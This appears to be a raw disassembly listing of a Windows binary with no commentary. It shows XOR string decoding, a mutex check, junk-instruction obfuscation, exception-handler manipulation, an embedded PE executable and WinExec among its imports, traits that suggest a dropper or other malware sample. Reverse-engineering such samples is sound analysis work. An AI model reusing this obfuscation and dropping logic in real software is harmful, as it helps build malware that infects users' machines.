; ---------------------------------------------------------------------------


loc_43C884:				; CODE XREF: sub_43C814+6Aj
		mov	ebx, [ebp+var_10]
		jmp	short loc_43C8DD
; ---------------------------------------------------------------------------


loc_43C889:				; CODE XREF: sub_43C814+D1j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43C8D7
		push	[ebp+var_4]
		call	sub_43CD14
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	ds:0[esi], eax
		or	eax, eax
		jnz	short loc_43C8C0
		jmp	short loc_43C8FA
; ---------------------------------------------------------------------------


loc_43C8C0:				; CODE XREF: sub_43C814+A8j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr ds:0[edi]
		call	sub_43CD68
		add	esp, 8
		add	[ebp+var_8], 4


loc_43C8D7:				; CODE XREF: sub_43C814+91j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43C8DD:				; CODE XREF: sub_43C814+73j
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43C889
		mov	edx, [ebp+var_8]
		mov	dword ptr ds:0[edx], 0
		mov	eax, 1


loc_43C8FA:				; CODE XREF: sub_43C814+6Ej
					; sub_43C814+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C814	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C900	proc near		; CODE XREF: sub_43C9AA+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 181h
		push	esi
		push	[ebp+arg_0]
		mov	eax, ds:10004098h
		lea	eax, ds:10002000h[eax]
		push	eax
		call	sub_43CD20
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_43C949
; ---------------------------------------------------------------------------


loc_43C92F:				; CODE XREF: sub_43C900+4Bj
		mov	eax, ds:10004098h
		add	eax, edi
		lea	eax, ds:10002000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_43C949:				; CODE XREF: sub_43C900+2Dj
		cmp	edi, esi
		jl	short loc_43C92F
		mov	[ebp+var_8], 389h
		mov	eax, ds:10004098h
		add	eax, esi
		mov	byte ptr ds:10002000h[eax], 0
		xor	edi, edi
		mov	edi, ds:10004098h
		add	dword ptr ds:10004098h,	3
		mov	eax, ds:10004098h
		lea	eax, [eax+esi+4]
		mov	ds:10004098h, eax
		inc	dword ptr ds:10004098h
		cmp	dword ptr ds:10004098h,	0DB6h
		jle	short loc_43C999
		and	dword ptr ds:10004098h,	0


loc_43C999:				; CODE XREF: sub_43C900+90j
		mov	[ebp+var_C], 9Ch
		lea	eax, [edi+10002000h]
		pop	edi
		pop	esi
		leave
		retn
sub_43C900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C9AA	proc near		; CODE XREF: .data:0043CB43p

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	edi, [ebp+var_5]
		lea	esi, ds:1000409Ch
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_43CC9C
		push	5
		push	100040BDh
		call	sub_43C900
		add	esp, 8
		push	eax
		push	0
		push	1F0001h
		call	sub_43CCC0
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43CA05
		mov	[ebp+var_C], 4FA1h
		inc	[ebp+var_C]
		push	eax
		call	sub_43CC78
		mov	[ebp+var_E], 6C6Dh
		inc	[ebp+var_E]
		xor	eax, eax
		inc	eax


loc_43CA05:				; CODE XREF: sub_43C9AA+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_43C9AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CA09	proc near		; CODE XREF: .data:0043CB77p

var_10A		= byte ptr -10Ah
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43CC54
		call	sub_43CC84
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_43CA27:				; CODE XREF: sub_43CA09+23j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43CA27
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_43CA5C
; ---------------------------------------------------------------------------


loc_43CA3E:				; CODE XREF: sub_43CA09+59j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_43CA58
		call	sub_43CC48
		inc	[ebp+var_2]
		call	sub_43CC9C
		jmp	short loc_43CA64
; ---------------------------------------------------------------------------


loc_43CA58:				; CODE XREF: sub_43CA09+3Dj
		dec	[ebp+var_2]


loc_43CA5C:				; CODE XREF: sub_43CA09+33j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_43CA3E


loc_43CA64:				; CODE XREF: sub_43CA09+4Dj
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_43CAA2
		mov	[ebp+var_4], 0
		jmp	short loc_43CA90
; ---------------------------------------------------------------------------


loc_43CA76:				; CODE XREF: sub_43CA09+97j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[ebp+eax+var_10A], dl
		inc	[ebp+var_4]


loc_43CA90:				; CODE XREF: sub_43CA09+6Bj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_43CA76


loc_43CAA2:				; CODE XREF: sub_43CA09+63j
		mov	esi, 6BBCh
		add	esi, 7D41h
		lea	eax, [ebp+var_10A]
		push	eax
		call	sub_43CCB4
		call	sub_43CCA8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CA09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CAC3	proc near		; CODE XREF: .data:0043CBCAp

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		call	sub_43CC54
		push	100040BBh
		push	[ebp+arg_0]
		call	sub_43CD5C
		add	esp, 8
		lea	edi, [ebp+var_8]
		lea	esi, ds:1000409Dh
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_43CAC3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		mov	ax, ds:100040A5h
		mov	[ebp-217h], ax
		mov	eax, ds:10004094h
		add	eax, 698h
		push	eax
		call	sub_43CD50
		mov	byte ptr [ebp-100h], 84h
		sub	byte ptr [ebp-100h], 68h
		mov	eax, ds:10004090h
		mov	edx, eax
		add	edx, 5
		push	edx
		mov	edx, 0Fh
		sub	edx, ds:10004094h
		push	edx
		mov	edx, 4
		sub	edx, eax
		push	edx
		call	sub_43C9AA
		add	esp, 10h
		or	eax, eax
		jz	short loc_43CB57
		xor	eax, eax
		inc	eax
		jmp	loc_43CC00
; ---------------------------------------------------------------------------


loc_43CB57:				; CODE XREF: .data:0043CB4Dj
		push	104h
		lea	eax, [ebp-205h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43CC6C
		call	sub_43CC54
		lea	eax, [ebp-205h]
		push	eax
		call	sub_43CA09
		mov	byte ptr [ebp-101h], 1Bh
		add	byte ptr [ebp-101h], 1
		lea	edi, [ebp-215h]
		lea	esi, ds:100040A7h
		mov	ecx, 4
		rep movsd
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CC90
		mov	eax, ds:100040B7h
		mov	[ebp-21Bh], eax
		call	sub_43CC54
		call	sub_43CC48
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CAC3
		call	sub_43CC9C
		lea	eax, [ebp-215h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CD5C
		add	esp, 10h
		push	1
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43CCD8
		call	sub_43CC84
		xor	eax, eax
		inc	eax


loc_43CC00:				; CODE XREF: .data:0043CB52j
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h
		db 0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC2B


loc_43CC1A:				; CODE XREF: sub_43CC2B+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_43CC2B
; ---------------------------------------------------------------------------
		dd 243CD950h
		db 58h,	0EBh, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_43CC2B	proc near		; CODE XREF: .data:loc_43C759p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CC1A SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_43CC1A
sub_43CC2B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 50E825FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC48	proc near		; CODE XREF: sub_43CA09+3Fp
					; .data:0043CBBEp
		jmp	dword ptr ds:100050ECh
sub_43CC48	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC54	proc near		; CODE XREF: sub_43CA09+Fp
					; sub_43CAC3+7p ...
		jmp	dword ptr ds:100050F0h
sub_43CC54	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC60	proc near		; CODE XREF: sub_43C814+10p
		jmp	dword ptr ds:100050F4h
sub_43CC60	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC6C	proc near		; CODE XREF: .data:0043CB66p
		jmp	dword ptr ds:100050F8h
sub_43CC6C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC78	proc near		; CODE XREF: sub_43C9AA+49p
		jmp	dword ptr ds:100050FCh
sub_43CC78	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC84	proc near		; CODE XREF: sub_43CA09+14p
					; .data:0043CBF8p
		jmp	dword ptr ds:10005100h
sub_43CC84	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC90	proc near		; CODE XREF: .data:0043CBA9p
		jmp	dword ptr ds:10005104h
sub_43CC90	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CC9C	proc near		; CODE XREF: sub_43C9AA+16p
					; sub_43CA09+48p ...
		jmp	dword ptr ds:10005108h
sub_43CC9C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCA8	proc near		; CODE XREF: sub_43CA09+B0p
		jmp	dword ptr ds:1000510Ch
sub_43CCA8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCB4	proc near		; CODE XREF: sub_43CA09+ABp
		jmp	dword ptr ds:10005110h
sub_43CCB4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCC0	proc near		; CODE XREF: sub_43C9AA+32p
		jmp	dword ptr ds:10005114h
sub_43CCC0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCCC	proc near		; CODE XREF: sub_43C632+13p
		jmp	dword ptr ds:10005118h
sub_43CCCC	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCD8	proc near		; CODE XREF: .data:0043CBF3p
		jmp	dword ptr ds:1000511Ch
sub_43CCD8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCE4	proc near		; CODE XREF: sub_43C77C+33p
					; sub_43C77C+45p ...
		jmp	dword ptr ds:10005128h
sub_43CCE4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CCF0	proc near		; CODE XREF: sub_43C77C+Bp
					; sub_43C77C+17p ...
		jmp	dword ptr ds:1000512Ch
sub_43CCF0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0
		dd 513025FFh, 90901000h, 0
		dd 513425FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD14	proc near		; CODE XREF: sub_43C814+58p
					; sub_43C814+96p
		jmp	dword ptr ds:10005138h
sub_43CD14	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD20	proc near		; CODE XREF: sub_43C900+23p
		jmp	dword ptr ds:1000513Ch
sub_43CD20	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0
		dd 514025FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD38	proc near		; CODE XREF: .data:0043C738p
		jmp	dword ptr ds:10005144h
sub_43CD38	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD44	proc near		; CODE XREF: sub_43C77C+71p
					; sub_43C77C+86p
		jmp	dword ptr ds:10005148h
sub_43CD44	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD50	proc near		; CODE XREF: .data:0043CB11p
		jmp	dword ptr ds:1000514Ch
sub_43CD50	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD5C	proc near		; CODE XREF: sub_43CAC3+14p
					; .data:0043CBE2p
		jmp	dword ptr ds:10005150h
sub_43CD5C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CD68	proc near		; CODE XREF: sub_43C814+B7p
		jmp	dword ptr ds:10005154h
sub_43CD68	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 14h dup(0)
		dd 2 dup(1), 7Ch dup(0)
		dd 10001536h, 5	dup(0)
		dd 7325h, 720077h, 1Ch dup(0)
		dd 2, 0Ch, 0
		dd 3B4E2A00h, 734D3E5Ah
		db 0, 4Bh, 0
aJfjbnm32	db 'Jfjbnm32',0         ; DATA XREF: sub_403D6F+29Do
aJklmno		db 'jklmno',0
aAy		db 'Ay&',0
		db '\',0
aTtii		db '’’ˆë»',0
		align 4
		dd 4Fh dup(0)
		dd 5070h, 2 dup(0)
		dd 52F8h, 50E8h, 50B0h,	2 dup(0)
		dd 5340h, 5128h, 12h dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 2 dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
		dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
		dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 0
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
		dd 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	65470155h, 63695474h, 756F436Bh, 746Eh,	6547015Ch
		dd 72655674h, 6E6F6973h, 0
		dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
		dd 704F01D2h, 754D6E65h, 41786574h, 0
		dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
		dd 63h,	665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
		dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
		dd 635F0039h, 74697865h, 0
		dd 616D024Eh, 636F6C6Ch, 0
		dd 656D0254h, 7970636Dh, 0
		dd 7270025Bh, 66746E69h, 0
		dd 61720260h, 657369h, 65730267h, 66756274h, 0
		dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
		dd 74730275h, 79706372h, 0
aKernel32_dll_0	db 'KERNEL32.DLL',0
		align 10h
		dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch	dup(10005014h)
		dd 22h dup(0)
		dd 20h,	0
		dd 20h,	1000h, 1800h, 2000h, 2C00h, 78h	dup(0)
		dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh,	311B3113h
		dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
		dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
		dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
		dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
		dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
		dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
		dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
		dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
		dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
		dd 33783374h, 4Ah dup(0)
aB_0		db 0Ah
		db 'µ|B',0
		align 4
aP_0		db '(p',0
		align 4
		dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h
		dd 703Ch, 0
a_libmain@12	db '_LibMain@12',0
		dd 6Eh dup(0)
		db 0
byte_43DBB9	db 4Dh,	5Ah, 90h	; DATA XREF: sub_403BAD+EEo
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
		dd 0E00E000h, 2010B01h,	1A0037h, 180000h, 20000h, 121900h
		dd 100000h, 300000h, 40000000h,	100000h, 20000h, 100h
		dd 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 500000h, 97000h, 1Ch	dup(0)
		dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h,	40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
		dd 1E0000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
		dd 2C0000h, 3 dup(0)
		dd 6000h, 0C0h,	79h dup(0)
		dd 40C03100h, 4244C8Bh,	60441F7h, 74000000h, 24448B0Fh
		dd 24548B08h, 0B8028910h, 3
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_43DFD9	proc near		; CODE XREF: .data:0043E111p
					; .data:0043E13Fp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43DFF6:				; CODE XREF: sub_43DFD9+44j
					; sub_43DFD9+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43E025
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43E025
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43DFF6
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43DFF6
; ---------------------------------------------------------------------------


loc_43E025:				; CODE XREF: sub_43DFD9+2Aj
					; sub_43DFD9+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43DFD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E033	proc near		; CODE XREF: .data:0043E104p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_43F771
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43E033	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		mov	dword ptr ds:loc_404089+3, eax
		mov	dword ptr ds:loc_404090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_43E138
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		mov	dword ptr ds:loc_404090, eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43E096:				; CODE XREF: .data:0043E12Fj
		cmp	esi, 0FFFFFFFFh
		jz	loc_43E147
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43E126
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword ptr ds:loc_40402D+3, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword ptr ds:loc_404034, eax
		mov	eax, [edx+4]
		mov	dword ptr ds:loc_404036+2, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, sub_40403C
		mov	esi, dword ptr ds:loc_404034
		rep movsd
		lea	edi, sub_40403C
		mov	dword ptr ds:loc_404034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43E126
		js	short loc_43E134
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43E033
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43DFD9
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43E126:				; CODE XREF: .data:0043E0A7j
					; .data:0043E0FCj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43E096
; ---------------------------------------------------------------------------


loc_43E134:				; CODE XREF: .data:0043E0FEj
		xor	eax, eax
		jmp	short loc_43E1A9
; ---------------------------------------------------------------------------


loc_43E138:				; CODE XREF: .data:0043E076j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43DFD9
		add	esp, 0Ch


loc_43E147:				; CODE XREF: .data:0043E099j
		push	0
		mov	dword ptr ds:loc_40400C+4, 0Bh
		push	0Bh
		call	j_aARc
		add	esp, 8
		or	eax, eax
		jnz	short loc_43E182
		push	0
		mov	dword ptr ds:loc_40400C+4, 8
		push	8
		call	j_aARc
		add	esp, 8
		or	eax, eax
		jnz	short loc_43E182
		mov	eax, 1
		jmp	short loc_43E1A9
; ---------------------------------------------------------------------------


loc_43E182:				; CODE XREF: .data:0043E15Fj
					; .data:0043E179j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43E1B1
		push	eax
		push	dword ptr ds:loc_40400C+4
		call	j_aARc
		add	esp, 8
		push	dword ptr ds:loc_40400C+4
		call	sub_43F8FD
		add	esp, 4
		mov	eax, 1


loc_43E1A9:				; CODE XREF: .data:0043E136j
					; .data:0043E180j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43E1B1:				; CODE XREF: .data:0043E185j
		cmp	dword ptr ds:loc_40402B+1, 0
		jnz	short loc_43E1C1
		mov	eax, 1
		jmp	short loc_43E1A9
; ---------------------------------------------------------------------------


loc_43E1C1:				; CODE XREF: .data:0043E1B8j
		mov	eax, dword ptr ds:loc_40402B+1
		push	0Bh
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0B858h
		dd 1, 0A164D7EBh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	40401Ch
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	eax
		fnstcw	word ptr [esp]
		or	word ptr [esp],	300h
		fldcw	word ptr [esp]
		add	esp, 4
		push	0
		push	0
		push	404028h
		push	404024h
		push	offset sub_404020
		call	sub_43F8C1
		push	dword ptr ds:loc_404027+1
		push	dword ptr ds:sub_404020+4
		push	dword ptr ds:sub_404020
		mov	dword ptr ds:loc_404012+2, esp
		call	sub_43F619
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp-4], ecx
		push	eax
		call	sub_43F8D9
		leave
		retn
; ---------------------------------------------------------------------------
		db 64h,	0A3h, 0
		dd 0C3000000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E255	proc near		; CODE XREF: sub_43E2F0+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_43F8B5
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_43E278:				; CODE XREF: sub_43E255+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E278
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_43E2A0
; ---------------------------------------------------------------------------


loc_43E28A:				; CODE XREF: sub_43E255+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1


loc_43E2A0:				; CODE XREF: sub_43E255+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_43E28A
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_43E2CC
; ---------------------------------------------------------------------------


loc_43E2BA:				; CODE XREF: sub_43E255+88j
		push	404DE5h
		push	edi
		call	sub_43F939
		add	esp, 8
		add	[ebp+var_3], 1


loc_43E2CC:				; CODE XREF: sub_43E255+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
